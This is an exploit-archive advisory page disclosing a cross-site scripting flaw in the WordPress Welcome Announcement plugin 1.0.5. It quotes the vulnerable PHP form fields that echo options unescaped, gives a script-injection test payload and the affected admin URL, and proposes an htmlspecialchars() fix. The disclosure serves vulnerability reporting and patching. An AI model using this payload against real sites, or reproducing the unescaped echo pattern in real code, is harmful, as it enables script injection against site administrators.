what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Welcome Announcement 1.0.5 Cross Site Scripting

WordPress Welcome Announcement 1.0.5 Cross Site Scripting
Posted Aug 6, 2016
Authored by bl4ck_MohajeM

WordPress Welcome Announcement plugin version 1.0.5 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 3adbc8d73b043b019fcb2c9759f73edda0c3979c833e0cbcb58a64fe07bf92ce

WordPress Welcome Announcement 1.0.5 Cross Site Scripting

Change Mirror Download
#####################
# Exploit Title: Wordpress Welcome Announcement Cross Site Scripting
# Exploit Author: bl4ck_mohajem
# Vendor Homepage: https://wordpress.org/plugins/welcome-announcement/
# Tested On: Windows7
# Software Link:
https://downloads.wordpress.org/plugin/welcome-announcement.1.0.5.zip
# Version: 1.0.5
######################
# Vulnerable File and Codes:
wa_options.php Lines(134-142-161-188-196-204-215-223-234-258-266)

<input class="entry" type="text" size=40 name="wa_opts[cookie_name]"
value="<?php echo $wa_opts["cookie_name"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[cookie_expiration]'value="<?php echo
$wa_opts["cookie_expiration"]; ?>" />
<input class="entry" type="text" size=76
name='wa_opts[animation_name]' value="<?php echo
$wa_opts["animation_name"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_width]' value="<?php echo
$wa_opts["animation_width"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_height]' value="<?php echo
$wa_opts["animation_height"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_bgcolor]' id="color_animation"
onclick="showColorGrid2('color_animation','none');" value="<?php echo
$wa_opts["animation_bgcolor"]; ?>" />
<input class="entry" type="text" size=40 name='wa_opts[veil_bgcolor]'
id="color_veil" onclick="showColorGrid2('color_veil','none');"
value="<?php echo $wa_opts["veil_bgcolor"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[veil_transparency]' value="<?php echo
$wa_opts["veil_transparency"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[fade_in_duration]' value="<?php echo
$wa_opts["fade_in_duration"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_duration]' value="<?php echo
$wa_opts["animation_duration"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[fade_out_duration]' value="<?php echo
$wa_opts["fade_out_duration"]; ?>" />
######################
# Exploit :
For test Cross site scripting can use this code in all of the above
inputs are vulnerable.
"><script>alert(/xss/)</script><
Address: http://localhost/pentest/wordpress/wp-admin/themes.php?page=wa_options
######################
# Patch :
To fix this vulnerability you use htmlspecialchars() function .
<input class="entry" type="text" size=40 name="wa_opts[cookie_name]"
value="<?php echo htmlspecialchars($wa_opts["cookie_name"]); ?>" />
And other lines, too.
######################
# tnx: Milad Hacking - n1arash - bl4ck_li0n -malah_sky
######################
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close